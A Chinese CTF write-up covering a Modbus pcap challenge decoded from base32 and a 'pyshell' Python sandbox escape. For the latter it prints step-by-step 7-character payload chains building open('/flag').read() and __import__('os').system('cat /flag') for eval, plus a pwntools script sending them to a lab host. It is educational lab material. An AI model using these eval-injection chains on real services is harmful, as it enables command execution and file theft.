1.被加密的生产流量
下载附件,发现是一个文件名为modus的压缩包,解压后是一个pcap文件,用wireshark打开
文件名modus,已经提示了工控流量,很多情况下都是和TCP协议结合起来的
工控CTF之协议分析1——Modbus_ctf modbus_Shadow丶S的博客-CSDN博客
直接追踪TCP
发现竟然出现了=,条件反射联想到base密码,base32加密特征:密文由32个字符(A-Z,2-7)组成
其实第一反应还是base64,但是没做出来,才改的base32
套上flag提交的壳就成功了
在复现途中,看到了一些大佬的解题思路,很棒,很新颖,自己还需继续钻研
利用pyshark解题:
"pyshark"库是一个用于捕获、解析和分析网络流量的Python库。它是基于Wireshark开发的,可以很方便地在Python环境中使用Wireshark的功能。
利用tshark解题:
tshark相当于是命令行版的wireshark,不需要额外安装,在安装wireshark的时候就会安装上这个工具。建议把tshark加入到环境变量中,方便后续使用!
2.pyshell
题目标签中有一个沙盒逃逸,恕我不知道啥意思,
沙盒逃逸:
沙盒逃逸的过程就是在一个代码执行的环境下,脱离种种过滤和限制,最终拿到shell权限的过程。也就是绕过各种黑名单最终拿到系统命令执行权限。
感觉有点像命令过滤,只不过这个是在python下,执行的而已
看的似懂非懂了,做一下题目
在虚拟机中进行nc连接
能发现其实此时已经进入了python
查看python内置文件可以看出语句之间需要_拼接
通过测试和题目名称得知存在python沙盒逃逸并且一次只能输入7个字符串,使用+进行拼接调用eval函数成功执行命令
第一种:
'open'
_+"('/"
_+"fl"
_+"ag"
_+"')."
_+"re"
_+"ad"
_+"()"
_
eval(_)
exec(_)
第二种:
>>'__imp' '__imp' >>_+'ort' '__import' >>_+'__(' '__import__(' >>_+"'os" "__import__('os" >>_+"')" "__import__('os')" >>_+".s" "__import__('os').s" >>_+"ys" "__import__('os').sys" >>_+"te" "__import__('os').syste" >>_+"m(" "__import__('os').system(" >>_+"'c" "__import__('os').system('c" >>_+'at ' "__import__('os').system('cat " >>_+'/fl' "__import__('os').system('cat /fl" >>_+"ag" "__import__('os').system('cat /flag" >>_+"')" "__import__('os').system('cat /flag')" >>eval(_)
运行成功即可获得flag
但是当自己运行时发现一直跳转,于是用了脚本来跑,同样可以获取flag
from pwn import *
io = remote('node1.anna.nssctf.cn', 28073)
io.send("'print'")
sleep(1)
io.send("_+'(op'")
sleep(1)
io.send("_+'en('")
sleep(1)
io.send("_+'\"/f'")
sleep(1)
io.send("_+'lag'")
sleep(1)
io.send("_+'\").'")
sleep(1)
io.send("_+'rea'")
sleep(1)
io.send("_+'d()'")
sleep(1)
io.send("_+')'")
sleep(1)
io.send('eval(_)')
flag = io.recvline()
print(flag)
io.interactive()